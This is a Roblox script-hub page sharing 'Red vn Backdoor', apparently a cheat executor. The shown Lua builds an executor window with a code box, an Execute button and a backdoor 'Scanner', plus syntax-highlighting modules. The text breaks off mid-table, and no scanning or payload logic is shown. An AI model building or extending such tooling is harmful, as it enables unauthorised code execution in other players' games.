Red vn Backdoor
Key RequiredUniversal

Red vn Backdoor

Universal ScriptHnghiarobloxHnghiaroblox 1.1K views 1.9K executesUpdated Jul 20, 2026
Unrated
00
Lua Script•1251 lines (40135 chars)
--[=[
 d888b  db    db d888888b      .d888b.      db      db    db  .d8b.  
88' Y8b 88    88   `88'        VP  `8D      88      88    88 d8' `8b 
88      88    88    88            odD'      88      88    88 88ooo88 
88  ooo 88    88    88          .88'        88      88    88 88~~~88 
88. ~8~ 88b  d88   .88.        j88.         88booo. 88b  d88 88   88 
 Y888P  ~Y8888P' Y888888P      888888D      Y88888P ~Y8888P' YP   YP  CONVERTER
]=]

-- Custom Script for Red vn Animation (With Fe R6 Integrated)
-- Instances: 36 | Scripts: 3 | Modules: 3
local G2L = {};

-- StarterGui.Red vn Backdoor
G2L["1"] = Instance.new("ScreenGui", game:GetService('CoreGui'):WaitForChild('RobloxGui'));
G2L["1"]["Name"] = [[Red vn Backdoor]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
G2L["1"]["ResetOnSpawn"] = false;

-- StarterGui.Red vn Backdoor.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Size"] = UDim2.new(0, 482, 0, 276);
G2L["2"]["Position"] = UDim2.new(0.27320125699043274, 0, 0.3018597960472107, 0);

-- StarterGui.Red vn Backdoor.Frame.UIStroke
G2L["3"] = Instance.new("UIStroke", G2L["2"]);
G2L["3"]["Color"] = Color3.fromRGB(255, 255, 255);

-- StarterGui.Red vn Backdoor.Frame.UIStroke.UIGradient
G2L["4"] = Instance.new("UIGradient", G2L["3"]);
G2L["4"]["Rotation"] = 50;
G2L["4"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 0, 255))};

-- StarterGui.Red vn Backdoor.Frame.UICorner
G2L["5"] = Instance.new("UICorner", G2L["2"]);

-- StarterGui.Red vn Backdoor.Frame.Executor
G2L["6"] = Instance.new("Folder", G2L["2"]);
G2L["6"]["Name"] = [[Executor]];

----------------------------------------------------
-- BA NÚT ĐIỀU KHIỂN PHÍA DƯỚI (ĐÃ CHIA LẠI KÍCH THƯỚC)
----------------------------------------------------

-- NÚT 1: EXECUTE (Chiếm 40% chiều rộng)
G2L["7"] = Instance.new("Frame", G2L["6"]);
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["BackgroundTransparency"] = 1;
G2L["7"]["Size"] = UDim2.new(0, 180, 0, 28);
G2L["7"]["Position"] = UDim2.new(0.02, 0, 0.87, 0);
G2L["7"]["Name"] = [[Execute]];

G2L["8"] = Instance.new("TextButton", G2L["7"]);
G2L["8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8"]["TextSize"] = 18;
G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["8"]["TextColor3"] = Color3.fromRGB(51, 215, 0);
G2L["8"]["Size"] = UDim2.new(1, 0, 1, 0);
G2L["8"]["Name"] = [[Button]];
G2L["8"]["Text"] = [[Execute]];
G2L["8"]["BackgroundTransparency"] = 1;

Instance.new("UICorner", G2L["7"]);
local strokeExec = Instance.new("UIStroke", G2L["7"]);
strokeExec["Color"] = Color3.fromRGB(51, 215, 0);

-- NÚT 2: FE R6 (NÚT MỚI THÊM - Chiếm 28% chiều rộng)
G2L["feR6Frame"] = Instance.new("Frame", G2L["6"]);
G2L["feR6Frame"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["feR6Frame"]["BackgroundTransparency"] = 1;
G2L["feR6Frame"]["Size"] = UDim2.new(0, 125, 0, 28);
G2L["feR6Frame"]["Position"] = UDim2.new(0.41, 0, 0.87, 0);
G2L["feR6Frame"]["Name"] = [[FeR6]];

G2L["feR6Btn"] = Instance.new("TextButton", G2L["feR6Frame"]);
G2L["feR6Btn"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["feR6Btn"]["TextSize"] = 18;
G2L["feR6Btn"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["feR6Btn"]["TextColor3"] = Color3.fromRGB(255, 170, 0);
G2L["feR6Btn"]["Size"] = UDim2.new(1, 0, 1, 0);
G2L["feR6Btn"]["Name"] = [[Button]];
G2L["feR6Btn"]["Text"] = [[Fe R6]];
G2L["feR6Btn"]["BackgroundTransparency"] = 1;

Instance.new("UICorner", G2L["feR6Frame"]);
local strokeR6 = Instance.new("UIStroke", G2L["feR6Frame"]);
strokeR6["Color"] = Color3.fromRGB(255, 170, 0);

-- NÚT 3: CLEAR (Chiếm 28% chiều rộng)
G2L["b"] = Instance.new("Frame", G2L["6"]);
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["BackgroundTransparency"] = 1;
G2L["b"]["Size"] = UDim2.new(0, 125, 0, 28);
G2L["b"]["Position"] = UDim2.new(0.69, 0, 0.87, 0);
G2L["b"]["Name"] = [[Clear]];

G2L["c"] = Instance.new("TextButton", G2L["b"]);
G2L["c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c"]["TextSize"] = 18;
G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["c"]["TextColor3"] = Color3.fromRGB(36, 236, 203);
G2L["c"]["Size"] = UDim2.new(1, 0, 1, 0);
G2L["c"]["Name"] = [[Button]];
G2L["c"]["Text"] = [[Clear]];
G2L["c"]["BackgroundTransparency"] = 1;

Instance.new("UICorner", G2L["b"]);
local strokeClear = Instance.new("UIStroke", G2L["b"]);
strokeClear["Color"] = Color3.fromRGB(36, 236, 203);

----------------------------------------------------
-- EXECUTOR BOX & HIGHLIGHTER
----------------------------------------------------
G2L["f"] = Instance.new("Frame", G2L["6"]);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(22, 22, 22);
G2L["f"]["Size"] = UDim2.new(0, 462, 0, 163);
G2L["f"]["Position"] = UDim2.new(0.01962907239794731, 0, 0.24310137331485748, 0);
G2L["f"]["Name"] = [[ExecutorBox]];

G2L["10"] = Instance.new("UICorner", G2L["f"]);

G2L["11"] = Instance.new("TextBox", G2L["f"]);
G2L["11"]["TextSize"] = 14;
G2L["11"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["11"]["TextWrapped"] = true;
G2L["11"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11"]["TextColor3"] = Color3.fromRGB(198, 119, 88);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["11"]["MultiLine"] = true;
G2L["11"]["BackgroundTransparency"] = 1;
G2L["11"]["PlaceholderText"] = [[print("Red vn Hub Loaded!")]];
G2L["11"]["Size"] = UDim2.new(0, 448, 0, 150);
G2L["11"]["Text"] = [[]];
G2L["11"]["Position"] = UDim2.new(0.015692640095949173, 0, 0.042270027101039886, 0);
G2L["11"]["ClearTextOnFocus"] = false;

G2L["12"] = Instance.new("LocalScript", G2L["11"]);
G2L["12"]["Name"] = [[Highlight]];

G2L["13"] = Instance.new("ModuleScript", G2L["12"]);
G2L["13"]["Name"] = [[Highlighter]];

G2L["14"] = Instance.new("ModuleScript", G2L["13"]);
G2L["14"]["Name"] = [[lexer]];

G2L["15"] = Instance.new("ModuleScript", G2L["14"]);
G2L["15"]["Name"] = [[language]];

----------------------------------------------------
-- SCANNER
----------------------------------------------------
G2L["16"] = Instance.new("Frame", G2L["2"]);
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["BackgroundTransparency"] = 1;
G2L["16"]["Size"] = UDim2.new(0, 370, 0, 107);
G2L["16"]["Position"] = UDim2.new(0.1166670024394989, 0, 0.30478382110595703, 0);
G2L["16"]["Visible"] = false;
G2L["16"]["Name"] = [[Scanner]];

G2L["17"] = Instance.new("UIStroke", G2L["16"]);
G2L["17"]["Color"] = Color3.fromRGB(255, 255, 255);

G2L["18"] = Instance.new("UIGradient", G2L["17"]);
G2L["18"]["Rotation"] = 50;
G2L["18"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 255, 108)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 231, 171))};

G2L["19"] = Instance.new("UICorner", G2L["16"]);

G2L["1a"] = Instance.new("TextButton", G2L["16"]);
G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a"]["TextSize"] = 43;
G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["Size"] = UDim2.new(1, 0, 1, 0);
G2L["1a"]["Name"] = [[Button]];
G2L["1a"]["Text"] = [[Start Scanning]];
G2L["1a"]["BackgroundTransparency"] = 1;

G2L["1b"] = Instance.new("UIGradient", G2L["1a"]);
G2L["1b"]["Rotation"] = 50;
G2L["1b"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 255, 108)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 231, 171))};

G2L["1c"] = Instance.new("UIStroke", G2L["1a"]);
G2L["1c"]["Color"] = Color3.fromRGB(255, 255, 255);

G2L["1d"] = Instance.new("TextLabel", G2L["2"]);
G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d"]["FontFace"] = Font.new([[rbxid://12187365977]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1d"]["TextSize"] = 45;
G2L["1d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["Size"] = UDim2.new(0, 460, 0, 50);
G2L["1d"]["Text"] = [[Red vn Backdoor]];
G2L["1d"]["BackgroundTransparency"] = 1;
G2L["1d"]["Position"] = UDim2.new(0.02169983461499214, 0, 0.025362318381667137, 0);

G2L["1e"] = Instance.new("UIStroke", G2L["1d"]);
G2L["1e"]["Color"] = Color3.fromRGB(255, 255, 255);

G2L["1f"] = Instance.new("UIGradient", G2L["1e"]);
G2L["1f"]["Rotation"] = 50;
G2L["1f"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 0, 255))};

G2L["20"] = Instance.new("LocalScript", G2L["1"]);

G2L["21"] = Instance.new("LocalScript", G2L["1"]);
G2L["21"]["Name"] = [[Dragify]];

----------------------------------------------------
-- MODULE LOADER ENVIRONMENT
----------------------------------------------------
local G2L_REQUIRE = require;
local G2L_MODULES = {};
local function require(Module:ModuleScript)
    local ModuleState = G2L_MODULES[Module];
    if ModuleState then
        if not ModuleState.Required then
            ModuleState.Required = true;
            ModuleState.Value = ModuleState.Closure();
        end
        return ModuleState.Value;
    end;
    return G2L_REQUIRE(Module);
end

G2L_MODULES[G2L["13"]] = {
Closure = function()
		local script = G2L["13"];
local function SanitizeRichText(s: string): string
	return string.gsub(
		string.gsub(string.gsub(string.gsub(string.gsub(s, "&", "&amp;"), "<", "&lt;"), ">", "&gt;"), '"', "&quot;"),
		"'",
		"&apos;"
	)
end

local function SanitizeTabs(s: string): string
	return string.gsub(s, "\t", "    ")
end

local function SanitizeControl(s: string): string
	return string.gsub(s, "[\0\1\2\3\4\5\6\7\8\11\12\13\14\15\16\17\18\19\20\21\22\23\24\25\26\27\28\29\30\31]+", "")
end

local TokenColors: HighlighterColors = {
	["background"] = Color3.fromRGB(47, 47, 47),
	["iden"] = Color3.fromRGB(234, 234, 234),
	["keyword"] = Color3.fromRGB(215, 174, 255),
	["builtin"] = Color3.fromRGB(131, 206, 255),
	["string"] = Color3.fromRGB(196, 255, 193),
	["number"] = Color3.fromRGB(255, 125, 125),
	["comment"] = Color3.fromRGB(140, 140, 155),
	["operator"] = Color3.fromRGB(255, 239, 148),
	["custom"] = Color3.fromRGB(119, 122, 255),
}
local ColorFormatter: { [Color3]: string } = {}
local LastData: { [TextObject]: ObjectData } = {}
local Cleanups: { [TextObject]: () -> () } = {}

local Highlighter = {
	defaultLexer = require(script.lexer),
}

function Highlighter.highlight(props: HighlightProps)
	local textObject = props.textObject
	local src = SanitizeTabs(SanitizeControl(props.src or textObject.Text))
	local lexer = props.lexer or Highlighter.defaultLexer
	local customLang = props.customLang
	local forceUpdate = props.forceUpdate

	local data = LastData[textObject]
	if data == nil then
		data = {
			Text = "",
			Labels = {},
			Lines = {},
			Lexer = lexer,
			CustomLang = customLang,
		}
		LastData[textObject] = data
	elseif forceUpdate ~= true and data.Text == src then
		return
	end

	local lineLabels = data.Labels
	local previousLines = data.Lines

	local lines = string.split(src, "\n")

	data.Lines = lines
	data.Text = src
	data.Lexer = lexer
	data.CustomLang = customLang

	textObject.RichText = false
	textObject.Text = src
	textObject.TextXAlignment = Enum.TextXAlignment.Left
	textObject.TextYAlignment = Enum.TextYAlignment.Top
	textObject.BackgroundColor3 = TokenColors.background
	textObject.TextColor3 = TokenColors.iden
	textObject.TextTransparency = 0.5

	local lineFolder = textObject:FindFirstChild("SyntaxHighlights")
	if lineFolder == nil then
		local newLineFolder = Instance.new("Folder")
		newLineFolder.Name = "SyntaxHighlights"
		newLineFolder.Parent = textObject

		lineFolder = newLineFolder
	end

	local cleanup = Cleanups[textObject]
	if not cleanup then
		local connections: { RBXScriptConnection } = {}
		local function newCleanup()
			for _, label in ipairs(lineLabels) do
				label:Destroy()
			end
			table.clear(lineLabels)
			lineLabels = nil

			LastData[textObject] = nil
			Cleanups[textObject] = nil

			for _, connection in connections do
				connection:Disconnect()
			end
			table.clear(connections)
			connections = nil
		end
		Cleanups[textObject] = newCleanup
		cleanup = newCleanup

		table.insert(
			connections,
			textObject.AncestryChanged:Connect(function()
				if textObject.Parent then
					return
				end

				cleanup()
			end)
		)
		table.insert(
			connections,
			textObject:GetPropertyChangedSignal("TextBounds"):Connect(function()
				Highlighter.highlight({
					textObject = textObject,
					forceUpdate = true,
					lexer = lexer,
					customLang = customLang,
				})
			end)
		)
		table.insert(
			connections,
			textObject:GetPropertyChangedSignal("Text"):Connect(function()
				Highlighter.highlight({
					textObject = textObject,
					lexer = lexer,
					customLang = customLang,
				})
			end)
		)
		table.insert(
			connections,
			textObject:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
				Highlighter.highlight({
					textObject = textObject,
					forceUpdate = true,
					lexer = lexer,
					customLang = customLang,
				})
			end)
		)
	end

	if src == "" then
		for l=1, #lineLabels do
			if lineLabels[l].Text == "" then continue end
			lineLabels[l].Text = ""
		end
		return cleanup
	end

	local textBounds = textObject.TextBounds
	while (textBounds.Y ~= textBounds.Y) or (textBounds.Y < 1) do
		task.wait()
		textBounds = textObject.TextBounds
	end

	if LastData[textObject] == nil then
		return cleanup
	end

	local numLines = #lines
	local textHeight = textBounds.Y / numLines * textObject.LineHeight

	local richText, index, lineNumber = table.create(5), 0, 1
	for token: string, content: string in lexer.scan(src) do
		local Color =
			if customLang and customLang[content] then
				TokenColors["custom"]
			else
				TokenColors[token] or TokenColors["iden"]

		local tokenLines = string.split(SanitizeRichText(content), "\n")

		for l, line in ipairs(tokenLines) do
			local lineLabel = lineLabels[lineNumber]
			if not lineLabel then
				local newLabel = Instance.new("TextLabel")
				newLabel.Name = "Line_" .. lineNumber
				newLabel.RichText = true
				newLabel.BackgroundTransparency = 1
				newLabel.Text = ""
				newLabel.TextXAlignment = Enum.TextXAlignment.Left
				newLabel.TextYAlignment = Enum.TextYAlignment.Top
				newLabel.Parent = lineFolder
				newLabel.TextWrapped=true
				lineLabels[lineNumber] = newLabel
				lineLabel = newLabel
			end

			lineLabel.TextColor3 = TokenColors["iden"]
			lineLabel.Font = textObject.Font
			lineLabel.TextSize = textObject.TextSize
			lineLabel.Size = UDim2.new(1, 0, 0, math.ceil(textHeight))
			lineLabel.Position = UDim2.fromScale(0, textHeight * (lineNumber - 1) / textObject.AbsoluteSize.Y)

			if l > 1 then
				if forceUpdate or lines[lineNumber] ~= previousLines[lineNumber] then
					lineLabels[lineNumber].Text = table.concat(richText)
				end
				lineNumber += 1
				index = 0
				table.clear(richText)
			end

			if forceUpdate or lines[lineNumber] ~= previousLines[lineNumber] then
				index += 1
				if Color ~= TokenColors["iden"] and string.find(line, "[%S%C]") then
					richText[index] = string.format(ColorFormatter[Color], line)
				else
					richText[index] = line
				end
			end
		end
	end

	if richText[1] and lineLabels[lineNumber] then
		lineLabels[lineNumber].Text = table.concat(richText)
	end

	for l=lineNumber+1, #lineLabels do
		if lineLabels[l].Text == "" then continue end
		lineLabels[l].Text = ""
	end

	return cleanup
end

function Highlighter.refresh(): ()
	for textObject, data in pairs(LastData) do
		for _, lineLabel in ipairs(data.Labels) do
			lineLabel.TextColor3 = TokenColors["iden"]
		end

		Highlighter.highlight({
			textObject = textObject,
			forceUpdate = true,
			src = data.Text,
			lexer = data.Lexer,
			customLang = data.CustomLang,
		})
	end
end

function Highlighter.setTokenColors(colors: HighlighterColors)
	for token, color in colors do
		TokenColors[token] = color
		ColorFormatter[color] = string.format(
			'<font color="#%.2x%.2x%.2x">',
			color.R * 255,
			color.G * 255,
			color.B * 255
		) .. "%s</font>"
	end

	Highlighter.refresh()
end
Highlighter.setTokenColors(TokenColors)

return Highlighter :: Highlighter

end;
};
G2L_MODULES[G2L["14"]] = {
Closure = function()
    local script = G2L["14"];
local lexer = {}

local Prefix, Suffix, Cleaner = "^[%c%s]*", "[%c%s]*", "[%c%s]+"
local UNICODE = "[%z\x01-\x7F\xC2-\xF4][\x80-\xBF]+"
local NUMBER_A = "0[xX][%da-fA-F_]+"
local NUMBER_B = "0[bB][01_]+"
local NUMBER_C = "%d+%.?%d*[eE][%+%-]?%d+"
local NUMBER_D = "%d+[%._]?[%d_eE]*"
local OPERATORS = "[:;<>/~%*%(%)%-={},%.#%^%+%%]+"
local BRACKETS = "[%[%]]+"
local IDEN = "[%a_][%w_]*"
local STRING_EMPTY = "(['\"])%1"
local STRING_PLAIN = "(['\"])[^\n]-([^\\]%1)"
local STRING_INTER = "`[^\n]-`"
local STRING_INCOMP_A = "(['\"]).-\n"
local STRING_INCOMP_B = "(['\"])[^\n]*"
local STRING_MULTI = "%[(=*)%[.-%]%1%]"
local STRING_MULTI_INCOMP = "%[=*%[.-.*"
local COMMENT_MULTI = "%-%-%[(=*)%[.-%]%1%]"
local COMMENT_MULTI_INCOMP = "%-%-%[=*%[.-.*"
local COMMENT_PLAIN = "%-%-.-\n"
local COMMENT_INCOMP = "%-%-.*"

local lang = require(script.language)
local lua_keyword = lang.keyword
local lua_builtin = lang.builtin
local lua_libraries = lang.libraries

lexer.language = lang

local lua_matches = {
	{ Prefix .. IDEN .. Suffix, "var" },
	{ Prefix .. NUMBER_A .. Suffix, "number" },
	{ Prefix .. NUMBER_B .. Suffix, "number" },
	{ Prefix .. NUMBER_C .. Suffix, "number" },
	{ Prefix .. NUMBER_D .. Suffix, "number" },
	{ Prefix .. STRING_EMPTY .. Suffix, "string" },
	{ Prefix .. STRING_PLAIN .. Suffix, "string" },
	{ Prefix .. STRING_INCOMP_A .. Suffix, "string" },
	{ Prefix .. STRING_INCOMP_B .. Suffix, "string" },
	{ Prefix .. STRING_MULTI .. Suffix, "string" },
	{ Prefix .. STRING_MULTI_INCOMP .. Suffix, "string" },
	{ Prefix .. STRING_INTER .. Suffix, "string_inter" },
	{ Prefix .. COMMENT_MULTI .. Suffix, "comment" },
	{ Prefix .. COMMENT_MULTI_INCOMP .. Suffix, "comment" },
	{ Prefix .. COMMENT_PLAIN .. Suffix, "comment" },
	{ Prefix .. COMMENT_INCOMP .. Suffix, "comment" },
	{ Prefix .. OPERATORS .. Suffix, "operator" },
	{ Prefix .. BRACKETS .. Suffix, "operator" },
	{ Prefix .. UNICODE .. Suffix, "iden" },
	{ "^.", "iden" },
}

local PATTERNS, TOKENS = {}, {}
for i, m in lua_matches do
	PATTERNS[i] = m[1]
	TOKENS[i] = m[2]
end

function lexer.scan(s: string)
	local index = 1
	local size = #s
	local previousContent1, previousContent2, previousContent3, previousToken = "", "", "", ""

	local thread = coroutine.create(function()
		while index <= size do
			local matched = false
			for tokenType, pattern in ipairs(PATTERNS) do
				local start, finish = string.find(s, pattern, index)
				if start == nil then continue end

				index = finish + 1
				matched = true

				local content = string.sub(s, start, finish)
				local rawToken = TOKENS[tokenType]
				local processedToken = rawToken

				if rawToken == "var" then
					local cleanContent = string.gsub(content, Cleaner, "")

					if lua_keyword[cleanContent] then
						processedToken = "keyword"
					elseif lua_builtin[cleanContent] then
						processedToken = "builtin"
					elseif string.find(previousContent1, "%.[%s%c]*$") and previousToken ~= "comment" then
						local parent = string.gsub(previousContent2, Cleaner, "")
						local lib = lua_libraries[parent]
						if lib and lib[cleanContent] and not string.find(previousContent3, "%.[%s%c]*$") then
							processedToken = "builtin"
						else
							processedToken = "iden"
						end
					else
						processedToken = "iden"
					end
				elseif rawToken == "string_inter" then
					if not string.find(content, "[^\\]{") then
						processedToken = "string"
					else
						processedToken = nil

						local isString = true
						local subIndex = 1
						local subSize = #content
						while subIndex <= subSize do
							local subStart, subFinish = string.find(content, "^.-[^\\][{}]", subIndex)
							if subStart == nil then
								coroutine.yield("string", string.sub(content, subIndex))
								break
							end

							if isString then
								subIndex = subFinish + 1
								coroutine.yield("string", string.sub(content, subStart, subFinish))
								isString = false
							else
								subIndex = subFinish
								local subContent = string.sub(content, subStart, subFinish-1)
								for innerToken, innerContent in lexer.scan(subContent) do
									coroutine.yield(innerToken, innerContent)
								end
								isString = true
							end
						end
					end
				end

				previousContent3 = previousContent2
				previousContent2 = previousContent1
				previousContent1 = content
				previousToken = processedToken or rawToken
				if processedToken then
					coroutine.yield(processedToken, content)
				end
				break
			end

			if not matched then
				return
			end
		end
		return
	end)

	return function()
		if coroutine.status(thread) == "dead" then
			return
		end

		local success, token, content = coroutine.resume(thread)
		if success and token then
			return token, content
		end
		return
	end
end

function lexer.navigator()
	local nav = {
		Source = "",
		TokenCache = table.create(50),
		_RealIndex = 0,
		_UserIndex = 0,
		_ScanThread = nil,
	}

	function nav:Destroy()
		self.Source = nil
		self._RealIndex = nil
		self._UserIndex = nil
		self.TokenCache = nil
		self._ScanThread = nil
	end

	function nav:SetSource(SourceString)
		self.Source = SourceString
		self._RealIndex = 0
		self._UserIndex = 0
		table.clear(self.TokenCache)

		self._ScanThread = coroutine.create(function()
			for Token, Src in lexer.scan(self.Source) do
				self._RealIndex += 1
				self.TokenCache[self._RealIndex] = { Token, Src }
				coroutine.yield(Token, Src)
			end
		end)
	end

	function nav.Next()
		nav._UserIndex += 1

		if nav._RealIndex >= nav._UserIndex then
			return table.unpack(nav.TokenCache[nav._UserIndex])
		else
			if coroutine.status(nav._ScanThread) == "dead" then
				return
			else
				local success, token, src = coroutine.resume(nav._ScanThread)
				if success and token then
					return token, src
				else
					return
				end
			end
		end
	end

	function nav.Peek(PeekAmount)
		local GoalIndex = nav._UserIndex + PeekAmount

		if nav._RealIndex >= GoalIndex then
			if GoalIndex > 0 then
				return table.unpack(nav.TokenCache[GoalIndex])
			else
				return
			end
		else
			if coroutine.status(nav._ScanThread) == "dead" then
				return
			else
				local IterationsAway = GoalIndex - nav._RealIndex
				local success, token, src = nil, nil, nil

				for _ = 1, IterationsAway do
					success, token, src = coroutine.resume(nav._ScanThread)
					if not (success or token) then
						break
					end
				end
				return token, src
			end
		end
	end

	return nav
end

return lexer
end;
};
G2L_MODULES[G2L["15"]] = {
Closure = function()
    local script = G2L["15"];
local language = {
	keyword = {
		["and"] = "keyword",
		["break"] = "keyword",
		["continue"] = "keyword",
		["do"] = "keyword",
		["else"] = "keyword",
		["elseif"] = "keyword",
		["end"] = "keyword",
		["export"] = "keyword",
		["false"] = "keyword",
		["for"] = "keyword",
		["function"] = "keyword",
		["if"] = "keyword",
		["in"] = "keyword",
		["local"] = "keyword",
		["nil"] = "keyword",
		["not"] = "keyword",
		["or"] = "keyword",
		["repeat"] = "keyword",
		["return"] = "keyword",
		["self"] = "keyword",
		["then"] = "keyword",
		["true"] = "keyword",
		["type"] = "keyword",
		["typeof"] = "keyword",
		["until"] = "keyword",
		["while"] = "keyword",
	},

	builtin = {
		["assert"] = "function",
		["error"] = "function",
		["getfenv"] = "function",
		["getmetatable"] = "function",
		["ipairs"] = "function",
		["loadstring"] = "function",
		["newproxy"] = "function",
		["next"] = "function",
		["pairs"] = "function",
		["pcall"] = "function",
		["print"] = "function",
		["rawequal"] = "function",
		["rawget"] = "function",
		["rawlen"] = "function",
		["rawset"] = "function",
		["select"] = "function",
		["setfenv"] = "function",
		["setmetatable"] = "function",
		["tonumber"] = "function",
		["tostring"] = "function",
		["unpack"] = "function",
		["xpcall"] = "function",
		["collectgarbage"] = "function",
		["_G"] = "table",
		["_VERSION"] = "string",
		["bit32"] = "table",
		["coroutine"] = "table",
		["debug"] = "table",
		["math"] = "table",
		["os"] = "table",
		["string"] = "table",
		["table"] = "table",
		["utf8"] = "table",
		["DebuggerManager"] = "function",
		["delay"] = "function",
		["gcinfo"] = "function",
		["PluginManager"] = "function",
		["require"] = "function",
		["settings"] = "function",
		["spawn"] = "function",
		["tick"] = "function",
		["time"] = "function",
		["UserSettings"] = "function",
		["wait"] = "function",
		["warn"] = "function",
		["Delay"] = "function",
		["ElapsedTime"] = "function",
		["elapsedTime"] = "function",
		["printidentity"] = "function",
		["Spawn"] = "function",
		["Stats"] = "function",
		["stats"] = "function",
		["Version"] = "function",
		["version"] = "function",
		["Wait"] = "function",
		["ypcall"] = "function",
		["game"] = "Instance",
		["plugin"] = "Instance",
		["script"] = "Instance",
		["shared"] = "Instance",
		["workspace"] = "Instance",
		["Game"] = "Instance",
		["Workspace"] = "Instance",
		["Axes"] = "table",
		["BrickColor"] = "table",
		["CatalogSearchParams"] = "table",
		["CFrame"] = "table",
		["Color3"] = "table",
		["ColorSequence"] = "table",
		["ColorSequenceKeypoint"] = "table",
		["DateTime"] = "table",
		["DockWidgetPluginGuiInfo"] = "table",
		["Enum"] = "table",
		["Faces"] = "table",
		["FloatCurveKey"] = "table",
		["Font"] = "table",
		["Instance"] = "table",
		["NumberRange"] = "table",
		["NumberSequence"] = "table",
		["NumberSequenceKeypoint"] = "table",
		["OverlapParams"] = "table",
		["PathWaypoint"] = "table",
		["PhysicalProperties"] = "table",
		["Random"] = "table",
		["Ray"] = "table",
		["RaycastParams"] = "table",
		["Rect"] = "table",
		["Region3"] = "table",
		["Region3int16"] = "table",
		["RotationCurveKey"] = "table",
		["task"] = "table",
		["TweenInfo"] = "table",
		["UDim"] = "table",
		["UDim2"] = "table",
		["Vector2"] = "table",
		["Vector2int16"] = "table",
		["Vector3"] = "table",
		["Vector3int16"] = "table",
	},

	libraries = {
		bit32 = {
			arshift = "function", band = "function", bnot = "function", bor = "function", btest = "function", bxor = "function",
			countlz = "function", countrz = "function", extract = "function", lrotate = "function", lshift = "function",
			replace = "function", rrotate = "function", rshift = "function",
		},
		coroutine = {
			close = "function", create = "function", isyieldable = "function", resume = "function", running = "function",
			status = "function", wrap = "function", yield = "function",
		},
		debug = {
			dumpheap = "function", info = "function", loadmodule = "function", profilebegin = "function", profileend = "function",
			resetmemorycategory = "function", setmemorycategory = "function", traceback = "function",
		},
		math = {
			abs = "function", acos = "function", asin = "function", atan2 = "function", atan = "function", ceil = "function",
			clamp = "function", cos = "function", cosh = "function", deg = "function", exp = "function", floor = "function",
			fmod = "function", frexp = "function", ldexp = "function", log10 = "function", log = "function", max = "function",
			min = "function", modf = "function", noise = "function", pow = "function", rad = "function", random = "function",
			randomseed = "function", round = "function", sign = "function", sin = "function", sinh = "function", sqrt = "function",
			tan = "function", tanh = "function", huge = "number", pi = "number",
		},
		os = { clock = "function", date = "function", difftime = "function", time = "function" },
		string = {
			byte = "function", char = "function", find = "function", format = "function", gmatch = "function", gsub = "function",
			len = "function", lower = "function", match = "function", pack = "function", packsize = "function", rep = "function",
			reverse = "function", split = "function", sub = "function", unpack = "function", upper = "function",
		},
		table = {
			clear = "function", clone = "function", concat = "function", create = "function", find = "function", foreach = "function",
			foreachi = "function", freeze = "function", getn = "function", insert = "function", isfrozen = "function",
			maxn = "function", move = "function", pack = "function", remove = "function", sort = "function", unpack = "function",
		},
		utf8 = {
			char = "function", codepoint = "function", codes = "function", graphemes = "function", len = "function",
			nfcnormalize = "function", nfdnormalize = "function", offset = "function", charpattern = "string",
		},
		Axes = { new = "function" },
		BrickColor = {
			Black = "function", Blue = "function", DarkGray = "function", Gray = "function", Green = "function", new = "function",
			New = "function", palette = "function", Random = "function", random = "function", Red = "function", White = "function",
			Yellow = "function",
		},
		CatalogSearchParams = { new = "function" },
		CFrame = {
			Angles = "function", fromAxisAngle = "function", fromEulerAngles = "function", fromEulerAnglesXYZ = "function",
			fromEulerAnglesYXZ = "function", fromMatrix = "function", fromOrientation = "function", lookAt = "function",
			new = "function", identity = "CFrame",
		},
		Color3 = { fromHex = "function", fromHSV = "function", fromRGB = "function", new = "function", toHSV = "function" },
		ColorSequence = { new = "function" },
		ColorSequenceKeypoint = { new = "function" },
		DateTime = {
			fromIsoDate = "function", fromLocalTime = "function", fromUniversalTime = "function", fromUnixTimestamp = "function",
